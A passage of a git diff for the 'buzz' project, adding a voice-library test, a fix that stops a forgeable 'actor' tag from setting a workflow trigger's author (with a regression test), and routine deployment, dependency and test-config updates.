PocketVoiceLibrary::new(&library_root); + let imported = library.import_path(&source).expect("import valid WAV"); + assert_eq!( + library.find(&imported.key).expect("read selection"), + Some(imported.clone()) + ); + + drop(library); + let relaunched = PocketVoiceLibrary::new(&library_root); + let selected = relaunched + .find(&imported.key) + .expect("reload persisted selection") + .expect("selected imported voice survived relaunch"); + let imported_path = relaunched + .resolve_file(&selected) + .expect("resolve persisted imported voice"); + let (imported_pcm, imported_stats) = synthesize(&model_dir, &imported_path, PREVIEW_TEXT); + + let evidence = evidence_dir(); + fs::create_dir_all(&evidence).expect("create evidence directory"); + let imported_wav = evidence.join("imported-preview.wav"); + write_pcm16_wav(&imported_wav, &imported_pcm, SAMPLE_RATE) + .expect("write imported preview evidence"); + + relaunched + .delete(&imported.key) + .expect("delete imported voice"); + assert_eq!( + relaunched.find(&imported.key).expect("reload after delete"), + None + ); + + let mary_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}")); + assert_eq!( + mary_path.file_name().and_then(|name| name.to_str()), + Some("reference_sample.wav"), + "fallback must remain the deterministic Mary reference" + ); + let (mary_pcm, mary_stats) = synthesize(&model_dir, &mary_path, PREVIEW_TEXT); + let mary_wav = evidence.join("mary-fallback-preview.wav"); + write_pcm16_wav(&mary_wav, &mary_pcm, SAMPLE_RATE) + .expect("write Mary fallback preview evidence"); + + println!( + "{}", + serde_json::json!({ + "importedKey": imported.key, + "persistence": "reloaded", + "afterDelete": "pocket:mary", + "importedPreview": { + "path": imported_wav, + "samples": imported_stats.sample_count, + "sampleRate": imported_stats.sample_rate, + "durationSeconds": imported_stats.duration_seconds, + "peak": imported_stats.peak, + "rms": imported_stats.rms, + "nonSilentSamples": imported_stats.non_silent_samples, + }, + "maryFallbackPreview": { + "path": mary_wav, + "samples": mary_stats.sample_count, + "sampleRate": mary_stats.sample_rate, + "durationSeconds": mary_stats.duration_seconds, + "peak": mary_stats.peak, + "rms": mary_stats.rms, + "nonSilentSamples": mary_stats.non_silent_samples, + } + }) + ); +} diff --git a/crates/buzz-workflow/src/lib.rs b/crates/buzz-workflow/src/lib.rs index 7aaa3d1702..e142221169 100644 --- a/crates/buzz-workflow/src/lib.rs +++ b/crates/buzz-workflow/src/lib.rs @@ -956,18 +956,10 @@ pub fn build_trigger_context(event: &buzz_core::StoredEvent) -> executor::Trigge let kind_u32 = event_kind_u32(&event.event); let content = event.event.content.clone(); - let author = event - .event - .tags - .iter() - .find_map(|tag| { - if tag.kind().to_string() == "actor" { - tag.content().map(|value| value.to_string()) - } else { - None - } - }) - .unwrap_or_else(|| event.event.pubkey.to_hex()); + // Workflow conditions make authorization decisions from `trigger_author`, + // so it must come from the event signature. An `actor` tag is ordinary + // signer-controlled metadata and cannot speak for another pubkey. + let author = event.event.pubkey.to_hex(); // For reaction events (NIP-25), the content field holds the emoji character // or shortcode (e.g. "👍", "+", "-"). Expose it as `emoji`. @@ -1608,6 +1600,24 @@ steps: assert!(ctx.author.chars().all(|c| c.is_ascii_hexdigit())); } + #[test] + fn build_trigger_context_ignores_actor_tag() { + use nostr::{EventBuilder, Keys, Kind, Tag}; + + let signer = Keys::generate(); + let impersonated = Keys::generate(); + let event = EventBuilder::new(Kind::Custom(9), "forged actor") + .tags([Tag::parse(["actor", &impersonated.public_key().to_hex()]).expect("actor tag")]) + .sign_with_keys(&signer) + .expect("sign"); + let stored = buzz_core::StoredEvent::new(event, Some(uuid::Uuid::new_v4())); + + let ctx = build_trigger_context(&stored); + + assert_eq!(ctx.author, signer.public_key().to_hex()); + assert_ne!(ctx.author, impersonated.public_key().to_hex()); + } + #[test] fn build_trigger_context_message_id_is_hex() { let stored = make_message_event(); diff --git a/deploy/charts/buzz/examples/argocd-app.yaml b/deploy/charts/buzz/examples/argocd-app.yaml index 8f6cb76228..a29a6919b7 100644 --- a/deploy/charts/buzz/examples/argocd-app.yaml +++ b/deploy/charts/buzz/examples/argocd-app.yaml @@ -16,9 +16,14 @@ metadata: spec: project: default source: - repoURL: oci://ghcr.io/block/buzz/charts - chart: buzz - targetRevision: 0.1.0 + # Argo CD >= 3.1 native OCI sources: repoURL must be the FULL chart + # artifact path — with the `repoURL: …/charts` + `chart: buzz` split + # form, the `chart` field is ignored for oci:// URLs and the fetch + # fails with a 403 (`repository:block/buzz/charts:pull` denied). The + # spec validator still requires `path`; use "." for OCI sources. + repoURL: oci://ghcr.io/block/buzz/charts/buzz + path: . + targetRevision: 0.1.7 helm: releaseName: buzz values: | diff --git a/deploy/charts/buzz/templates/deployment.yaml b/deploy/charts/buzz/templates/deployment.yaml index 67a93138c5..5c876f7d24 100644 --- a/deploy/charts/buzz/templates/deployment.yaml +++ b/deploy/charts/buzz/templates/deployment.yaml @@ -128,6 +128,7 @@ spec: - { name: BUZZ_MAX_CONNECTIONS, value: {{ .Values.relay.maxConnections | quote }} } - { name: BUZZ_MAX_CONCURRENT_HANDLERS, value: {{ .Values.relay.maxConcurrentHandlers | quote }} } - { name: BUZZ_SEND_BUFFER, value: {{ .Values.relay.sendBuffer | quote }} } + - { name: BUZZ_DRAIN_JITTER_MS, value: {{ .Values.relay.drainJitterMs | quote }} } - { name: BUZZ_REQUIRE_AUTH_TOKEN, value: {{ .Values.relay.requireAuthToken | quote }} } - { name: BUZZ_REQUIRE_RELAY_MEMBERSHIP, value: {{ .Values.relay.requireRelayMembership | quote }} } - { name: BUZZ_REQUIRE_MEDIA_GET_AUTH, value: {{ .Values.relay.requireMediaGetAuth | quote }} } diff --git a/deploy/charts/buzz/values.schema.json b/deploy/charts/buzz/values.schema.json index 9cb6a02c9b..e1e362a531 100644 --- a/deploy/charts/buzz/values.schema.json +++ b/deploy/charts/buzz/values.schema.json @@ -59,6 +59,7 @@ "maxConnections": { "type": "integer", "minimum": 1 }, "maxConcurrentHandlers": { "type": "integer", "minimum": 1 }, "sendBuffer": { "type": "integer", "minimum": 1 }, + "drainJitterMs": { "type": "integer", "minimum": 0 }, "requireAuthToken": { "type": "boolean" }, "requireRelayMembership": { "type": "boolean" }, "requireMediaGetAuth": { "type": "boolean" }, diff --git a/deploy/charts/buzz/values.yaml b/deploy/charts/buzz/values.yaml index 810f8a9658..42b09f1b3e 100644 --- a/deploy/charts/buzz/values.yaml +++ b/deploy/charts/buzz/values.yaml @@ -105,6 +105,16 @@ relay: maxConnections: 10000 maxConcurrentHandlers: 1024 sendBuffer: 1000 + # Graceful-shutdown reconnect jitter. On SIGTERM the relay closes every live + # WebSocket with a 1012 Service Restart frame; with a rolling deploy this can + # release a whole pod's sockets at once and stampede reconnects into the DB + # pool. A positive value (milliseconds) spreads each close over a per-socket + # random delay in [1, drainJitterMs], smoothing the reconnect herd. 0 (the + # default) closes all sockets at once, preserving the previous behavior. + # Values above 20000 are capped to 20000, leaving close-frame delivery + # headroom under the relay's 30s hard-drain timeout (itself inside the 60s + # terminationGracePeriodSeconds below). + drainJitterMs: 0 requireAuthToken: true requireRelayMembership: true # Authenticated media reads: relay GET/HEAD /media/* requires Blossom diff --git a/deploy/compose/compose.yml b/deploy/compose/compose.yml index 27856755a8..15337c92a2 100644 --- a/deploy/compose/compose.yml +++ b/deploy/compose/compose.yml @@ -9,10 +9,6 @@ services: BUZZ_BIND_ADDR: 0.0.0.0:3000 BUZZ_HEALTH_PORT: "8080" BUZZ_METRICS_PORT: "9102" - # Leave headroom under the bundled Postgres 50-connection ceiling for - # the relay's audit/search pools and operator access. - BUZZ_DB_POOL_SIZE: ${BUZZ_DB_POOL_SIZE:-12} - BUZZ_DB_READ_POOL_SIZE: ${BUZZ_DB_READ_POOL_SIZE:-12} DATABASE_URL: postgres://${POSTGRES_USER:-buzz}:${POSTGRES_PASSWORD:?set POSTGRES_PASSWORD}@postgres:5432/${POSTGRES_DB:-buzz} REDIS_URL: redis://:${REDIS_PASSWORD:?set REDIS_PASSWORD}@redis:6379 BUZZ_S3_ENDPOINT: http://minio:9000 diff --git a/desktop/package.json b/desktop/package.json index 2226a0cb12..a1fd2e919d 100644 --- a/desktop/package.json +++ b/desktop/package.json @@ -1,7 +1,7 @@ { "name": "buzz", "private": true, - "version": "0.5.2", + "version": "0.5.5", "type": "module", "scripts": { "dev": "vite", @@ -30,6 +30,7 @@ "@emoji-mart/data": "^1.2.1", "@emoji-mart/react": "^1.1.1", "@fontsource-variable/inter": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.3.0", "@mediapipe/tasks-vision": "^0.10.35", "@radix-ui/react-alert-dialog": "^1.1.15", "@radix-ui/react-avatar": "^1.1.11", @@ -90,9 +91,11 @@ "@tanstack/router-plugin": "^1.167.12", "@tanstack/virtual-file-routes": "^1.161.7", "@tauri-apps/cli": "~2.11", + "@testing-library/react": "^16.3.2", "@types/react": "^19.1.8", "@types/react-dom": "^19.1.6", "@vitejs/plugin-react": "^6.0.0", + "jsdom": "^27.4.0", "nostr-tools": "^2.23.3", "postcss": "^8.5.8", "tailwindcss": "^4.3.0", diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts index 02baa043aa..11bdb03694 100644 --- a/desktop/playwright.config.ts +++ b/desktop/playwright.config.ts @@ -44,6 +44,7 @@ export default defineConfig({ "**/channel-mute.spec.ts", "**/channel-star.spec.ts", "**/channel-controls.spec.ts", + "**/channel-activity-popover.spec.ts", "**/active-turn-resilience.spec.ts", "**/profile-active-turn.spec.ts", "**/config-bridge-screenshots.spec.ts", @@ -52,6 +53,7 @@ export default defineConfig({ "**/activity-scope-label-screenshots.spec.ts", "**/welcome-agent-modal-screenshots.spec.ts", "**/local-archive-screenshots.spec.ts", + "**/voice-settings.spec.ts", "**/agent-readiness-screenshots.spec.ts", "**/agent-error-state-screenshots.spec.ts", "**/edit-agent.spec.ts", @@ -95,6 +97,7 @@ export default defineConfig({ "**/live-broadcast-reply-timeline.spec.ts", "**/markdown-parse-cache.spec.ts", "**/overscroll-boundary.spec.ts", + "**/terminal-wheel.spec.ts", "**/cold-switch-longtask.perf.ts", "**/timeline-no-shift.spec.ts", "**/human-edit-agent-content.spec.ts", @@ -102,9 +105,11 @@ export default defineConfig({ "**/reaction-order.spec.ts", "**/reaction-names.spec.ts", "**/inbox-reactions.spec.ts", + "**/inbox-edit.spec.ts", "**/send-channel-binding.spec.ts", "**/project-commit-detail.spec.ts", "**/project-inbox.spec.ts", + "**/project-issue-comments.spec.ts", "**/project-pr-review.spec.ts", "**/persona-model-combobox-screenshots.spec.ts", "**/drafts-screenshots.spec.ts", @@ -128,13 +133,17 @@ export default defineConfig({ "**/agent-provider-dropdowns.spec.ts", "**/agent-lifecycle-feedback.spec.ts", "**/agent-access-warning.spec.ts", + "**/edit-agent-run-on.spec.ts", "**/inbox-live-update.spec.ts", "**/mesh-compute.spec.ts", "**/observer-archive-policy.spec.ts", "**/harness-management.spec.ts", "**/harness-catalog-screenshots.spec.ts", "**/inline-custom-harness.spec.ts", + "**/where-to-run-config.spec.ts", "**/huddle-transcription.spec.ts", + "**/agent-numeric-tuning.spec.ts", + "**/needs-restart-screenshots.spec.ts", ], use: { ...devices["Desktop Chrome"], diff --git a/desktop/scripts/build-release-config.mjs b/desktop/scripts/build-release-config.mjs index 389d18aec5..d1cd8181eb 100644 --- a/desktop/scripts/build-release-config.mjs +++ b/desktop/scripts/build-release-config.mjs @@ -52,6 +52,15 @@ const releaseConfig = { }, }; +// Tauri applies --config after platform-specific config using RFC 7396. +// Any externalBin value here would therefore replace the platform sidecar list, +// while null would silently delete it. This delta must never own that key. +if (Object.hasOwn(releaseConfig.bundle, "externalBin")) { + throw new Error( + "Release config must not define bundle.externalBin; sidecars are platform-specific", + ); +} + console.log(`Updater enabled -> ${updaterEndpoint}`); writeFileSync(outputConfigPath, `${JSON.stringify(releaseConfig, null, 2)}\n`); diff --git a/desktop/scripts/check-file-sizes.mjs b/desktop/scripts/check-file-sizes.mjs index 326587b87f..bfe4fcc857 100644 --- a/desktop/scripts/check-file-sizes.mjs +++ b/desktop/scripts/check-file-sizes.mjs @@ -9,6 +9,14 @@ const MAX_LINES = 1000; const rules = [ { root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES }, + // Workspace member crates. Without this the ratchet's only Rust root is + // `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the + // repo's one size discipline -- silently, since the check still exits 0. + { + root: "src-tauri/crates", + extensions: new Set([".rs"]), + maxLines: MAX_LINES, + }, { root: "src/app", extensions: new Set([".ts", ".tsx"]), diff --git a/desktop/scripts/check-pubkey-truncation.mjs b/desktop/scripts/check-pubkey-truncation.mjs index 95e56fb282..d65db13545 100644 --- a/desktop/scripts/check-pubkey-truncation.mjs +++ b/desktop/scripts/check-pubkey-truncation.mjs @@ -18,12 +18,10 @@ const rules = [ // Non-display uses: array windows over pubkey lists, color/initials // derivation where the value is never presented as an identity. const overrides = new Set([ - // ProfileAvatar fallback label — decorative glyphs inside an avatar disc. - "src/features/huddle/components/ParticipantList.tsx:92", // HexAvatar: 6-char badge + hue derivation inside a color-coded disc, // clearly decorative (paired with a full truncatePubkey aria-label). - "src/features/huddle/components/ParticipantList.tsx:143", - "src/features/huddle/components/ParticipantList.tsx:144", + "src/features/huddle/components/ParticipantList.tsx:150", + "src/features/huddle/components/ParticipantList.tsx:151", // clientId (not a pubkey) sliced in a debug log next to the real thing. "src/features/channels/readState/readStateManager.ts:338", // Array windows (first N pubkeys), not string truncation. diff --git a/desktop/src-tauri/Cargo.lock b/desktop/src-tauri/Cargo.lock index aca89d7ed7..fbaa547a03 100644 --- a/desktop/src-tauri/Cargo.lock +++ b/desktop/src-tauri/Cargo.lock @@ -98,6 +98,30 @@ dependencies = [ "memchr", ] +[[package]] +name = "alacritty_terminal" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bda177466b9524d59f1b12f0dd30b68696788e9992a7e959021c4a0ed96fcf59" +dependencies = [ + "base64 0.22.1", + "bitflags 2.13.0", + "home", + "libc", + "log", + "miow", + "parking_lot", + "piper", + "polling", + "regex-automata", + "rustix 1.1.4", + "rustix-openpty", + "signal-hook 0.4.4", + "unicode-width 0.2.2", + "vte 0.15.0", + "windows-sys 0.59.0", +] + [[package]] name = "alloc-no-stdlib" version = "2.0.4" @@ -1036,7 +1060,7 @@ dependencies = [ [[package]] name = "buzz-desktop" -version = "0.5.2" +version = "0.5.5" dependencies = [ "anyhow", "arboard", @@ -1044,11 +1068,14 @@ dependencies = [ "audioadapter-buffers", "axum", "base64 0.22.1", + "block2", "buzz-agent", "buzz-core", "buzz-media", "buzz-persona", "buzz-sdk", + "buzz-terminal", + "buzz-voice", "bytes", "bzip2 0.6.1", "chrono", @@ -1077,12 +1104,11 @@ dependencies = [ "objc2", "objc2-app-kit", "objc2-foundation", + "objc2-user-notifications", "opus", - "ort", - "ort-sys", "plist", "png 0.18.1", - "rand 0.10.2", + "portable-pty", "regex", "reqwest 0.13.4", "rodio", @@ -1090,7 +1116,6 @@ dependencies = [ "rusqlite", "rustls", "security-framework 3.7.0", - "sentencepiece-model", "serde", "serde_json", "serde_yaml", @@ -1109,8 +1134,8 @@ dependencies = [ "tauri-plugin-single-instance", "tauri-plugin-updater", "tauri-plugin-window-state", + "tauri-utils", "tempfile", - "tokenizers", "tokio", "tokio-tungstenite 0.29.0", "tokio-util", @@ -1178,6 +1203,34 @@ dependencies = [ "uuid", ] +[[package]] +name = "buzz-terminal" +version = "0.1.0" +dependencies = [ + "alacritty_terminal", + "libc", + "parking_lot", + "portable-pty", +] + +[[package]] +name = "buzz-voice" +version = "0.1.0" +dependencies = [ + "atomic-write-file", + "hex", + "ort", + "ort-sys", + "rand 0.10.2", + "sentencepiece-model", + "serde", + "serde_json", + "sha2 0.11.0", + "sherpa-onnx", + "symphonia", + "tokenizers", +] + [[package]] name = "by_address" version = "1.2.1" @@ -1376,6 +1429,12 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + [[package]] name = "cfg_aliases" version = "0.2.1" @@ -1868,7 +1927,7 @@ dependencies = [ "mio", "parking_lot", "rustix 0.38.44", - "signal-hook", + "signal-hook 0.3.18", "signal-hook-mio", "winapi", ] @@ -1886,7 +1945,7 @@ dependencies = [ "mio", "parking_lot", "rustix 1.1.4", - "signal-hook", + "signal-hook 0.3.18", "signal-hook-mio", "winapi", ] @@ -2053,6 +2112,12 @@ dependencies = [ "cmov", ] +[[package]] +name = "cursor-icon" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f" + [[package]] name = "curve25519-dalek" version = "4.1.3" @@ -2571,7 +2636,7 @@ dependencies = [ "rustc_version", "toml 1.1.2+spec-1.1.0", "vswhom", - "winreg", + "winreg 0.55.0", ] [[package]] @@ -4250,7 +4315,7 @@ dependencies = [ "backon", "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "ctutils", "data-encoding", "derive_more", @@ -4318,7 +4383,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a" dependencies = [ "arc-swap", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "hickory-resolver", "iroh-base", @@ -4370,7 +4435,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354" dependencies = [ "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "data-encoding", "derive_more", "getrandom 0.4.3", @@ -5571,6 +5636,15 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "miow" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "model-artifact" version = "0.74.0" @@ -5763,7 +5837,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "futures-buffered", "futures-lite", @@ -5953,7 +6027,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976" dependencies = [ "atomic-waker", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "ipnet", "js-sys", @@ -5988,6 +6062,18 @@ version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" +[[package]] +name = "nix" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" +dependencies = [ + "bitflags 2.13.0", + "cfg-if 1.0.4", + "cfg_aliases 0.1.1", + "libc", +] + [[package]] name = "nix" version = "0.29.0" @@ -5996,7 +6082,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "memoffset", ] @@ -6009,7 +6095,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6021,7 +6107,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6051,7 +6137,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "noq-proto", "noq-udp", @@ -6099,7 +6185,7 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "socket2", "tracing", @@ -6108,9 +6194,9 @@ dependencies = [ [[package]] name = "nostr" -version = "0.44.6" +version = "0.44.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e826dd648489de2c5b293920e20b92932ef820302007c1987c758d4d06eeb2cf" +checksum = "c7d3d987ea7078dc36947cde532637c472a229426702e4331dd7667325378bd9" dependencies = [ "base64 0.22.1", "bech32", @@ -6152,9 +6238,9 @@ dependencies = [ [[package]] name = "nostr-relay-pool" -version = "0.44.1" +version = "0.44.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91b2c039df4f96c4bf7dae52a74fd5516ad6dda83a11c0c69dea91b5255a4f37" +checksum = "c85c54d6ca9aae4ae2bf19a7663ba9db5f45f783f1d24aff55f006386b8b99a1" dependencies = [ "async-utility", "async-wsocket", @@ -6637,6 +6723,8 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e" dependencies = [ + "bitflags 2.13.0", + "block2", "objc2", "objc2-foundation", ] @@ -7411,6 +7499,27 @@ dependencies = [ "portable-atomic", ] +[[package]] +name = "portable-pty" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix 0.28.0", + "serial2", + "shared_library", + "shell-words", + "winapi", + "winreg 0.10.1", +] + [[package]] name = "portmapper" version = "0.19.1" @@ -7866,7 +7975,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "pin-project-lite", "quinn-proto", "quinn-udp", @@ -7908,7 +8017,7 @@ version = "0.5.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "once_cell", "socket2", @@ -8647,6 +8756,17 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "rustix-openpty" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1de16c7c59892b870a6336f185dc10943517f1327447096bbb7bb32cd85e2393" +dependencies = [ + "errno", + "libc", + "rustix 1.1.4", +] + [[package]] name = "rustls" version = "0.23.42" @@ -9192,6 +9312,17 @@ dependencies = [ "serde", ] +[[package]] +name = "serial2" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730" +dependencies = [ + "cfg-if 1.0.4", + "libc", + "windows-sys 0.61.2", +] + [[package]] name = "serialize-to-javascript" version = "0.1.2" @@ -9292,6 +9423,22 @@ dependencies = [ "lazy_static", ] +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + [[package]] name = "shellexpand" version = "3.1.2" @@ -9341,6 +9488,16 @@ dependencies = [ "signal-hook-registry", ] +[[package]] +name = "signal-hook" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d" +dependencies = [ + "libc", + "signal-hook-registry", +] + [[package]] name = "signal-hook-mio" version = "0.2.5" @@ -9349,7 +9506,7 @@ checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc" dependencies = [ "libc", "mio", - "signal-hook", + "signal-hook 0.3.18", ] [[package]] @@ -9705,7 +9862,7 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025" dependencies = [ - "vte", + "vte 0.14.1", ] [[package]] @@ -9768,6 +9925,7 @@ dependencies = [ "symphonia-bundle-flac", "symphonia-bundle-mp3", "symphonia-codec-aac", + "symphonia-codec-alac", "symphonia-codec-pcm", "symphonia-codec-vorbis", "symphonia-core", @@ -9812,6 +9970,16 @@ dependencies = [ "symphonia-core", ] +[[package]] +name = "symphonia-codec-alac" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8413fa754942ac16a73634c9dfd1500ed5c61430956b33728567f667fdd393ab" +dependencies = [ + "log", + "symphonia-core", +] + [[package]] name = "symphonia-codec-pcm" version = "0.5.5" @@ -10556,7 +10724,7 @@ dependencies = [ "bitflags 2.13.0", "parking_lot", "rustix 1.1.4", - "signal-hook", + "signal-hook 0.3.18", "windows-sys 0.61.2", ] @@ -10607,7 +10775,7 @@ dependencies = [ "pest_derive", "phf 0.11.3", "sha2 0.10.9", - "signal-hook", + "signal-hook 0.3.18", "siphasher", "terminfo", "termios", @@ -11736,6 +11904,19 @@ dependencies = [ "memchr", ] +[[package]] +name = "vte" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd" +dependencies = [ + "arrayvec", + "bitflags 2.13.0", + "cursor-icon", + "log", + "memchr", +] + [[package]] name = "vtparse" version = "0.6.2" @@ -12806,6 +12987,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + [[package]] name = "winreg" version = "0.55.0" diff --git a/desktop/src-tauri/Cargo.toml b/desktop/src-tauri/Cargo.toml index 248eac107e..bbf245e29a 100644 --- a/desktop/src-tauri/Cargo.toml +++ b/desktop/src-tauri/Cargo.toml @@ -1,8 +1,13 @@ [workspace] +# Explicit: membership must NOT be inferred from the path-dependency edge below. +# With a bare `[workspace]` and no `members`, `cargo test/check --workspace` +# expands to a set that excludes this crate, and its gates pass green-and-empty +# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`. +members = ["crates/buzz-terminal"] [package] name = "buzz-desktop" -version = "0.5.2" +version = "0.5.5" description = "Buzz desktop app" authors = ["you"] edition = "2021" @@ -46,9 +51,11 @@ notify-rust = "4" webkit2gtk = { version = "=2.0.2", features = ["v2_22"] } [target.'cfg(target_os = "macos")'.dependencies] +block2 = { version = "0.6", default-features = false, features = ["std"] } objc2 = { version = "0.6.4", default-features = false } -objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem"] } -objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSProcessInfo", "NSString"] } +objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSEvent", "NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem", "block2"] } +objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSDictionary", "NSError", "NSBundle", "NSObject", "NSProcessInfo", "NSString"] } +objc2-user-notifications = { version = "0.3.2", default-features = false, features = ["block2", "UNNotification", "UNNotificationContent", "UNNotificationRequest", "UNNotificationResponse", "UNNotificationSettings", "UNNotificationTrigger", "UNUserNotificationCenter"] } keyring = { version = "3.6.3", default-features = false, features = ["apple-native", "vendored"], optional = true } security-framework = { version = "3.7.0", features = ["OSX_10_15"] } window-vibrancy = "0.6" @@ -82,9 +89,6 @@ bytes = "1" futures-util = "0.3" opus = "0.3" neteq = { version = "0.8", default-features = false } -ort = { version = "=2.0.0-rc.12", default-features = false, features = ["api-24", "ndarray", "std"] } -ort-sys = { version = "=2.0.0-rc.12", features = ["disable-linking"] } -rand = "0.10" serde = { version = "1", features = ["derive"] } serde_json = "1" serde_yaml = "0.9" @@ -101,6 +105,9 @@ buzz_core_pkg = { package = "buzz-core", path = "../../crates/buzz-core" } buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona" } buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" } buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" } +buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" } +buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" } +portable-pty = "0.9" iroh = { version = "1.0.2", optional = true } mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true } mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = 